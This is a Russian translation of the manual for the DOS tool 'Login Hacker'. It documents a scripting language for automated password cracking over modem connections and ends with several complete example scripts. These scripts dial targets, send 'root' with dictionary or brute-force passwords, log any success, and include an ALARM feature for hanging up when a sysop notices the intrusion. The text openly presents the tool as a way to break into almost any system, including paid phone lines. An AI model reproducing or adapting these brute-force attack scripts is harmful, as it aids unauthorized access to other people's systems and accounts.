<b>Экран в интерактивном режиме</b>
Речь идет о том моменте, когда произошла загрузка и запустился скрипт.
Все, что идет из модема, выглядит на вашем экране символами белого цвета.
Все, что записывается в файл регистрации, выглядит на вашем экране
темно-синими символами. Каждое сообщение системы, в том числе CONNECT,
ALARM, HANGUP и ERROR должно отображаться синим цветом. Все вышесказанное
справедливо лишь в том случае, если вы активизировали опцию Print Logoutput
to Screen too.
<b>Горячие клавиши в режиме On-line
ESC</b>
Пауза или выход из меню.
<B>F1</B>
Посказка.
<B>ALT-B</B>
Так называемая базовая клавиша. Позволяет спрятать экран.
<B>ALT-C</B>
Очистка экрана.
<B>ALT-D</B>
Включить или выключить режим отладки.
<B>ALT-H</B>
Вызвать меню HangUp.
<B>ALT-I</B>
Отобразить на экран статистику и другую дополнительную информацию.
<B>ALT-J</B>
Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).
<B>ALT-L</B>
Особое меню регистрации.
<B>ALT-T</B>
Загрузить терминальный режим. В этом режиме экран зависает, система
находится под вашим контролем. Вы можете произвести идентификацию
посредством любой из вышеописанных клавиш (кроме ESC). Чтобы выйти из
терминального режима, нажмите ALT-T или ALT-X.
<b>Описание языка скриптов</b>
Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать
хорошие скрипты, то сможете взломать практически любую систему. Конечно это
не относится к новичкам или тем хакерам, которые никогда не программировали
даже на Бэйсике.
Скрипт должен пройти через компилятор, который проверяет его на
вшивость. Поэтому вы можете быть уверены на 99%, что в процессе атаки не
произойдет сбоя по вине плохого скрипта.
Итак, поехали.
Все, что начинается с точки с запятой -- комментарии. Все, что
начинается с двоеточия -- переход на следующую команду.
Четыре строки, начинающиеся с символа # определяют операторы, с которых
начинается специальная часть скрипта.
Оператор #DEFINE определяет переменную.
Оператор #NOCARRIER осуществляет автоматический возврат в программу в
случае аварийного прерывания сессии, то есть без команды hangup.
Оператор #START активизирует загрузку скрипта.
Оператор #END заканчивает выполнение скрипта.
Все переменные являются необязательными. Исключение составляют
переменные logfile и phone_nr. Вы не можете определять какие-либо
переменные, за исключением тех, которые описаны ниже.
<B>LOGFILE=FILENAME</B>
Определить файл регистрации и место на диске для этого файла. Это
важная переменная используется при написании любого скрипта.
Например:
LOGFILE=C:\OUTPUT\NY-SYS5.LOG
PHONE_NR=NUMBER
Эта переменная используется вместе с командой DIAL. Ее тело может
состоять как из цифр, так и из букв. Это вторая переменная, которую всегда
используют при написании скриптов.
Например:
PHONE_NR=1-800-WHO-CARES
INIT_MODEM=STRING
Если ваш модем должен работать в режиме Pulse Dialing, то поместите
перед телефонным номером аргумент P. Если же ваш модем не может
инициализировать строковые данные, поместите перед соответствующим
телефонным номером команду AT (если эта команда отстствует в Hacker Setup).
Например:
INIT_MODEM=Z
(здесь также может стоять аргумент AT Z)
<B>INIT_DATA=STRING</B>
Инициализация каналов передачи данных, в том числе стоповых битов и
битов четности. Переменная используется в том случае, если соответствующие
параметры отсутствуют в Hacker Setup. В общем случае аргументами этой
переменной являются наборы символов 8N1 и 7E1, то есть аргумент всегда
должен состоять из трех символов. Первый символ -- это цифры 7 или 8,
являющиеся битами данных. Второй символ может быть записан как P (контроль
по нечетности), E (контроль по четности) или N (не контролировать биты
данных). Третий символ соответствует ситуации, когда на первый стартовый бит
налагается первый стоповый бит:
7/8+E/P/N+1/2.
<B>DIAL_TRIES=NUMBER</B>
Эта переменная определяет количество попыток набора номера в диапазоне
от 0 до 65535. Ноль соответствует бесконечному набору номера. Если номер
набран, загружается HANGUP и остальная часть скрипта.
Например:
DIAL_TRIES=3
Standard : 0
Важно: Если эта переменная отсутствует в скрипте, то будут использованы
установки, соответствующие файлу LOGINH.CFG.
<B>LOGIN_TRIES=NUMBER</B>
Эта переменная определяет количество попыток входа в систему в
диапазоне от 0 до 2300000000. Ноль соответствует неограниченной попытке
зарегестрироваться. Если в файле словаря будет достигнут так называемый
конец кадра (EOF), то скрипт автоматически повесит трубку и прекратит
сессию. Время, в течение которого будет осуществляться подбор
регистрационных данных зависит от команд прицепки SEND_NEXT_DIC, NEXT_DIC
или им аналогичных для словаря Brute Force Generator.
Например:
LOGIN_TRIES=0
Standard: 0
Важно: Если эта переменная отсутствует в скрипте, то в атаке будут
использованы установки, соответствующие файлу LOGINH.CFG.
<B>DIC(NUMBER)=FILENAME</B>
Определить словарь, который будет использован соответствующим скриптом.
Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к
скрипту от одного до трех словарей. Используйте для этого команды
Send_Next_DIC (1), Send_DIC (1) и Next_DIC (1).
Например :
DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
<B>FROM_DIC(NUMBER)=STRING</B>
Определить слово, начиная с которого можно использовать словарь в
скрипте.
Например: FROM_DIC(1)=Tracy
<B>BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER</B>
Определить словарь Brute Force Generator для использования в скрипте.
Brute Force Generator весьма гибок . Четыре параметра словаря Brute Force
Generator разделены запятой. Ниже описывается приемлемая спецификация этих
параметров.
<b>1</b>
a=буквы нижнего регистра.
A=буквы верхнего регистра.
1=цифры.
$=спецсимволы.
^=так называемые контролируемые символы.
Любые синонимы ASCII.
<b>2</b>
Этот параметр сообщает скрипту, какое количество различных символов,
соответствующих параметру 1 необходимо этому скрипту.
Каждое сгенерированное слово, соответствующее параметру 1 всегда
имеется в таком же слове, соответствующим параметру 2. Символ верхнего
регистра и один номер допустимы. Величина, соответствующая нулю неприемлема.
<b>3</b>
Сообщает скрипту возможную минимальную длину для символов пароля,
подобранного при использовании словаря Brute Force Generator.
<b>4</b>
Возможная максимальная длина для символов пароля, подобранного при
использовании словаря Brute Force Generator.
Важно: Минимальная длина символов равна 1, максимальная соответствует
12.
Помните, что вы можете использовать в атаке до трех словарей Brute
Force Generator. Используйте для этого великолепные команды привязки
Next_Brute(1), Send_Next_Brute(1) и Send_Brute(1).
Например:
BRUTE(1)=a,1,1,6
В этом примере используется первый параметр Brute Force Generator со
следующими данными: проверять только символы нижнего регистра; предположить,
что при подборе пароля в словаре присутствует хотя бы один действительный
символ; минимальная длина регистрационного слова равна единице, максимальная
-- шести .
<b>FROM_BRUTE(number)=STRING</b>
Начать инициализацию со словарем Brute Force Generator. При этом важно
следующее: если инициализация началась с четвертой буквы, а вы
просматриваете диапазон от 1 до 8 буквы, то диапазон от 1 до 3 будет
игнорироваться, то есть сначала идет подбор aaaa, затем aaab, затем aaac и
т .д .
Например :
FROM_BRUTE(1)=2527
<b>Секция #NOCARRIER</b>
Это будет выполняться всякий раз, когда вы не используете команду
HANGUP. Если в скрипте отсутствуют операторы GOTO (*START) или GOTO (1), то
дальше он выполняться не будет. Это означает, что вы снова должны набрать
модемный номер доступа к системе. Поэтому проверьте установки в DIAL_TRIES.
<b>Секция #START</b>
В этой важной секции описываются операторы, которые в дальнейшем будут
ломать систему.
<B>LOG(STRING)</B>
Команда LOG() записывает в файл регистрации некоторую информацию. Это
может быть любой текст, переменные, перед которыми всегда должен стоять знак
$ (знак доллара), а также пробелы между словами. В конец строки каждая
команда LOG() автоматически печатает возврат каретки.
Примеры :
LOG(Beginning on $DATE * $TIME)
Будет выведено следующее:
"Beginning on 24-12-96 * 23:00"
LOG_(STRING)
Этот пример аналогичен вышеприведенному, за исключением того, что после
текста отсутствует CRLF (End-Of-Line).
<b>:NUMBER</b>
Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.
Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы. Переход к нужному маркеру осуществляется командами передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
Например: :1
В этом примере на соответствующую строку выполняется переход к точке с
номером 1.
<B>GOTO(NUMBER)</B>
Передать управление на маркировку перехода. Вы можете также осуществить
переход командами #START, #NOCARRIER и #END.
Например: GOTO(#END) (выполнение скрипта завершено).
<B>GOSUB(NUMBER)</B>
С командой подстановки GOSUB вы осуществляете переход к следующей
маркировке. Команда GOSUB, как правило исполняется уже после перехода на
следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN
столкнутся между собой. Обратите внимание, что вот такая команда невозможна:
GOSUB(#END).
Например : GOSUB(4)
<B>RETURN</B>
Это так называемая команда выхода из подпрограммы. Используя эту
команду, вы можете возвратиться к местоположению последней выполненной
команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном
регистре команда RETURN сталкивается с несуществующим начальным адресом
GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете
иметь до 255 подстановок GOSUB.
Например: RETURN
<B>CHECK4CARRIER(NUMBER)</B>
Проверка модема на соединение с линией, то есть проверка на несущую
частототу. Команда будет выполняться в случае отсутствия перехода к
указанной маркировке (переход соответствует команде GOTO). Если переход
обнаружен, то устанавливается внутреннее соединение с переменной TRUE для
проверки на NO_CARRIERS. Вы можете также осуществлять процедуры перехода к
*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только
на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к
маркеру, отмечающему обнаружение линии, и, если представлен NOT, то
управление передается на *NoCarrier. Эта команда полезна только в том
случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать
команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать
номер SCAVENGER DIALER).
Примеры :
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(ON)
CHECK4CARRIER(OFF)
CHECK4OUTPUT(NUMBER)
Это будет выполнено подобно нижеописанной функции ALARM: Если выходной
сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться
непосредственно к указанной маркировке. Вы можете также передать управление
к *NOCARRIER, *START и *END. Также возможно отключить проверку на OFF, то
есть заблокировать указанную проверку выходного сигнала.
Например :
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(OFF)
<B>DIAL</B>
Набор номера PHONE_NR. Если с системой нет соединения, то сначала в
модем будет послана команда: "Повесить трубку!".
Например: DIAL
<B>HANGUP</B>
Поднять и опустить трубку.
Например : HANGUP
<B>WAIT4STRING(NUMBER,STRING,NUMBER,
COMMAND,STRING)</B>
В представленном здесь языке скриптов это самая важная команда. После
ее выполнения выходной сигнал модема будет находиться в состоянии ожидания.
В этот момент должна начаться загрузка специального слова. Если стыковка
осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем
будет отправлена заданная последовательность, затем -- вновь таймаут и,
наконец, идет выполнение команды.
Важно: Сначала команда WAIT4STRING проверяет текущую строку с
представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).
<b>a</b>
Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию, то есть ждать до тех пор пока не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
если данные не поступают из модема в течение пяти минут). Если ничего не
получено, то последовательность в потоке данных распознается снова, или в
какой-то момент несущая частота объявляется потерянной.
<b>b</b>
Последовательность данных, которая будет послана в модем после
таймаута.
<b>c</b>
Частота отказов или количество общего времени, в течение которого может
выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый
раз).
<b>d</b>
Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая : ALARM, WAIT4STRING и IF.
<b>e</b>
Последовательность данных для ожидания. Данные чувствительны к
регистру.
Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)
В этом примере происходит ожидание последовательности ogin: в течение
15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),
то команда снова ждет 15 секунд, пока вновь не наладится стыковка с
последовательностью данных ogin:.
Как только истекут следующие 15 секунд, вызывается фатальная команда,
что означает переход к GOTO с меткой под номером 1.
<B>LOG_SESSION_ON</B>
Начиная с этого пункта, все данные поступающие из модема записываются в
файл регистрации.
Например: LOG_SESSION_ON
<B>LOG_SESSION_OFF</B>
Если содержимое экрана записано в файл регистрации, то к этому пункту
больше не будет обращений.
Например: LOG_SESSION_OFF
<B>SEND(STRING)</B>
Команда SEND передает последовательность данных в модем. Через эту
команду вы можете пересылать в модем переменные со знаком $. В конец
последовательности передается возврат каретки. Если последовательность
данных не задана, то сразу осуществляется переход на возврат каретки.
Например :
SEND(echo Hacked you system Time: $TIME - Date:
$DATE > HACKED.TXT)
В данном примере команда SEND посылает в модем следующую строку:
echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
<B>SEND_()</B>
Эта команда аналогична вышеописанной, но она не посылает в модем символ
возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем
только один символ или командный режим +++.
Примеры :
SEND_(n)
SEND_(+++)
<B>SEND_NEXT_DIC(NUMBER)</B>
Например : SEND_NEXT_DIC(1)
<B>SEND_DIC(NUMBER)</B>
Переслать текущий словарь в модем.
Например : SEND_DIC(1)
<B>NEXT_DIC(NUMBER)</B>
Переместиться на слово, соответствующее аргументу NUMBER.
Например : NEXT_DIC(1)
<B>SEND_NEXT_BRUTE(NUMBER)</B>
Используя Brute Force Generator, сгенерировать следующую допустимую
последовательность и переслать ее в модем.
Например : SEND_NEXT_BRUTE(1)
<B>SEND_BRUTE(NUMBER)</B>
Переслать в модем текущую последовательность допустимых данных из
словаря Brute Force Generator.
Например : SEND_BRUTE(1)
<B>NEXT_BRUTE(NUMBER)</B>
Сгенерировать следующую допустимую последовательность данных из словаря
Brute Force Generator.
Например : NEXT_BRUTE(1)
<B>IF VARIABLE OPERATOR STRING THEN COMMAND</B>
Команда IF первой версии этой программы не очень гибкая. Синтаксис этой
команды следующий :
IF <variable><operator><string> THEN <command>
<variable>
<operator>
Означает равносильность при аргументе =, больше или меньше при
аргументах < или > соответственно и переменную содержащую любую
последовательность слов при аргументе <b>~</b>. Переменные и последовательности
должны быть дискретными переменными.
<b><command></b>
Эта команда выполнится в том случае, если будет соблюдено условие TRUE.
Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.
Например :
IF STRING~ogin THEN GOTO(3)
То есть, если текущая строка (STRING) содержит дискретную (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.
<B>EXECUTE(STRING)</B>
Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить
переменные в выполняему строку. Вы также должны выполнить соответствующие
внутренние команды MS DOS. Помните, что перед переменной может стоять знак $
с возможными пробелами позади и впереди самого знака.
Важно: Если вы хотите запустить программу в то время, когда по вашему
скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В
противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед
выполнением программы Login Hacker.
Важно: Чтобы ваша программа не была повреждена, предварительно
сохраните ее в каталоге отличном от исходного.
Примеры :
EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)
EXECUTE(COPY $LOGFILE C:\HACKED)
ALARM(STRING,COMMAND)
Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере
сработала система защиты, то вы будете активны до тех пор, пока не
выполнится эта команда.
<B>STRING</B>
Последовательность, для которой осуществляется поиск данных с их
последующей передачей в модем.
<B>COMMAND</B>
Эта команда будет выполнена после стыковки. Чтобы ее использовать,
просмотрите листинг команд для WAIT4STRING. Примените эту команду в том
случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые
вопросы. После этой команды вы автоматически прервете соединение и
остановите выполнение скрипта.
Например:
ALARM(chat,GOTO(#END))
<B>SET VARIABLE=STRING</B>
Этой командой вы определяете переменную в секции #START или #NOCARRIER.
Если переменная является статической переменной, то вы должны это отметить.
Вы должны устанавливать только следующие переменные: STRING, DIAL_TRIED,
LOGIN_TRIED, S_TMP и D_TMP.
Например:
SET D_TMP=3
Определить статическую переменную D_TMP в качестве 3.
<B>INC(DIGIT_VARIABLE)</B>
Увеличить число указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после дополнения не находится в указанном
диапазоне.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например : INC(D_TMP)
<B>DEC(DIGIT_VARIABLE)</B>
Уменьшить чило указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после вычитания не будет находиться вне
указанного диапазона.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например :
DEC(D_TMP)
<B>WAIT(NUMBER)</B>
Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
Например: WAIT(10) (десять секунд)
<B>WAIT_(NUMBER)</B>
Ожидать до тех пор, пока идут миллисекунды, определенные аргументом
NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до
65535.
Например: WAIT(500) (полсекунды)
<B>BEEP</B>
Создает сигнал, похожий на легкий звук бибикалки!
<b>Переменные и управляющие символы</b>
Речь идет о переменных, которые могут быть использованы в командах
SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл
регистрации определяется символом $ (доллара), поставленным перед
соответствующей переменной, и пробелами. Вы можете использовать #DEFINE
любые специфические переменные. Вам их нужно только определить.
<B>STRING</B>
Символы пересылаются из модема в последнюю строку.
<B>STRING2</B>
Последние 250 символов отправляются из модема.
<B>DIAL_TRIED</B>
Фактические попытки набора номера.
<B>LOGIN_TRIED</B>
Фактические попытки получить имя и пароль.
<B>TIME</B>
Действительное время в часах и минутах (двоеточие пропускается).
Например, TIME=1505 означает 15:05.
<B>DATE</B>
Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
<B>DIC(1)</B>
Текущий загруженный словарь 1.
<B>BRUTE(2)</B>
Текущая строка словаря Brute Force Generator 2.
<B>S_TMP</B>
Переменная строка. Вы можете ее использовать, как вам нравится.
<B>D_TMP</B>
Переменная для цифр. Вы можете ее использовать, как вам нравится.
В командах IF и SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные
и константы приемлемы для IF! Не нужно также использовать знак $ перед
переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.
Например :
IF TIME>1215 THEN GOTO #END
(отсоединиться после 12:15).
LOG($DIC(3))
<B>SEND($S_TMP)</B>
Теперь относительно спецсимволов. Вы можете записывать любые
управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак
^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать
^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и
^^.
Например:
SEND_(^D)
#DEFINE
<определения>
#NOCARRIER
<некоторые команды>
#START
<ваш алгоритм>
#END
<b>Сообщения об ошибках</b>
Если в процессе компиляции вы получаете сообщение об ошибке, то
помните, что в вашем распоряжении имеется файл <name>.BAK. Просмотрите и
внимательно изучите содержимое этого файла.
При компилировании скрипта может всплыть только два сообщения об
ошибке:
<B>WARNING</B>
Вы что-то не так скомпилировали. Компилятор в любом случае создаст
скрипт, который может запуститься без всяких проблем. Это сообщение,
например, может быть выдано, если невозможно найти указанный словарь.
Возможно, что вы не полностью подготовили копию.
<B>ERROR</B>
Это критическая ошибка. В какой-то момент компилятор прервал
необходимую процедуру завершения. Для исправления этой ошибки проверьте файл
с расширением .BAK и ваш исходный файл.
<b>Пример стандартного скрипта</b>
#DEFINE
PHONE_NR=,
LOGFILE=lh&scave.log
DIC(1)=d:\project\hack\word\badpws.dic
; задайте корректный путь к вашему словарю
#NOCARRIER
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
LOG(Carrier lost on $DATE at $TIME)
LOG()
GOTO(#START)
#START
SET S_TMP=UNDEFINE
;SET S_TMP=DEFINE
HANGUP
LOG_SESSION_ON
SET STRING2=
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
IF S_TMP=UNDEFINE THEN SEND(AT H1)
EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
:111
SEND(ATD)
SET D_TMP=0
:112
WAIT(1)
INC(D_TMP)
IF D_TMP>50 THEN GOTO(99)
CHECK4CARRIER(112)
SEND()
; послать возврат каретки после соединения
:1
WAIT(1)
IF STRING2~assw THEN GOTO(2)
GOTO(1)
:2
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(3)
GOTO(50)
:3
SET STRING2=
:4
WAIT(1)
IF STRING2~assw THEN GOTO(5)
GOTO(4)
:5
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(6)
GOTO(50)
:6
SET STRING2=
:7
WAIT(1)
IF STRING2~assw THEN GOTO(8)
GOTO(7)
:8
SEND_NEXT_DIC(1)
WAIT4STRING(10,,1,GOTO(50),ncorr)
GOTO(99)
:50
BEEP
BEEP
BEEP
LOG(------------- -----------------)---- -------------------)
LOG($DATE $TIME)
LOG()
LOG(PASSWORD: $DIC(1))
LOG()
GOTO(150)
:99
CHECK4CARRIER(OFF)
IF S_TMP=UNDEFINE THEN GOTO(#START)
EXECUTE(scavenge.exe /s rebreak.scr)
; создание скрипта для перенабора номера и дозвона до цели
GOTO(111)
:150
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
GOTO(#END)
#END
<b>Первый пример скрипта</b>
Системный дескриптор: UNIX на F.
Но вы никогда не должны это делать.
#DEFINE
LOGFILE=C:\OUTPUT\NY-SYS5.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------------- -----)---- -------------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
DIAL
LOG($STRING)
LOG_SESSION_ON
SEND()
SEND()
WAIT4STRING(15,^M,4,GOTO(1),name)
SEND( )
LOG_SESSION_OFF
:2
SEND(CONNECT HACK.THIS.SYSTEM.EDU)
:3
WAIT4STRING(30,^C,1,GOTO(2),ogin:)
SEND(root)
WAIT4STRING(20,^D,1,GOTO(2),assword:)
SEND_NEXT_DIC(1)
IF STRING~ogin: THEN GOTO(3)
IF STRING~refused THEN GOTO(2)
LOG()
LOG($STRING)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Login : root)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
<b>Второй пример скрипта</b>
#DEFINE
INIT_MODEM=AT&N15
INIT_DATA=7E1
LOGFILE=C:\OUTPUT\TELEKOM4.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
BRUTE(1)=1,1,1,12
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $BRUTE(1))
LOG()
GOTO(#START)
#START
LOG(-----------------------------------)---- ---------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(15,^M,4,GOTO(1),PA)
:2
SEND_NEXT_BRUTE(1)
WAIT4STRING(3,^M,2,GOTO(3),PA)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND(HILFE)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $BRUTE(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
<b>Третий пример скрипта</b>
Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
; Система требует пароль
; Неограниченное количество попыток позволяет войти в систему
;
; 30xCrLf
; PASSCODE:*****
;
#DEFINE
INIT_MODEM=AT &F L2
INIT_DATA=8N1
LOGFILE=xxxxxx.LOG
PHONE_NR=0130xxxxxx
DIAL_TRIES=5
LOGIN_TRIES=0
DIC(1)=C:\2\thc-lh09\w1.w
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------- ---------)---- -------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(30,.^M,3,GOTO(1),PASS)
:2
set string=
SEND_NEXT_DIC(1)
wait(1)
LOG($DIC(1))
; да, регистрироваться с каждой попытки!
WAIT4STRING(15,.^M,3,GOTO(3),PASS)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND()
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
<b>Четвертый пример скрипта</b>
Это скрипт предназначен исключительно для платформ Telnet.
#DEFINE
init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=D:\hackusr\dictbig.txt
;dic(2)=d:\hackusr\bigdict2.txt
;dic(3)=d:\hackusr\bigdict3.txt
#NOCARRIER
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG(returning ...)
GOTO(#START)
#START
HANGUP
LOG_SESSION_ON
LOG()
log()
log( HaCK ATTeMPT STaRTeD ......)
log()
log( TaRGeT: $PHONE_NR )
log( DaTe: $DATE )
log( TiMe: $TIME)
log()
log()
log( ......DiaLiNG)
dial
log()
log( ......CoNNeCTeD!)
log()
log()
wait(5)
:1
wait4string(1,^M,5,goto(#start),sername>)
send(fh65)
:2
wait4string(1,^M,5,goto(#start),ocal>)
send(connect 189.25.56.7)
:3
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^C,5,goto(4),ogin:)
send(root)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:4
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^D,5,goto(4),assword:)
send_next_dic(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:5
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:6
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:7
beep
beep
beep
beep
beep
beep
beep
beep
beep
log()
log()
log()
Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
log()
log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
log()
log()
log()
log( ACCouNT: root)
log( PaSSWoRD: DIC(1))
log()
log()
log()
#END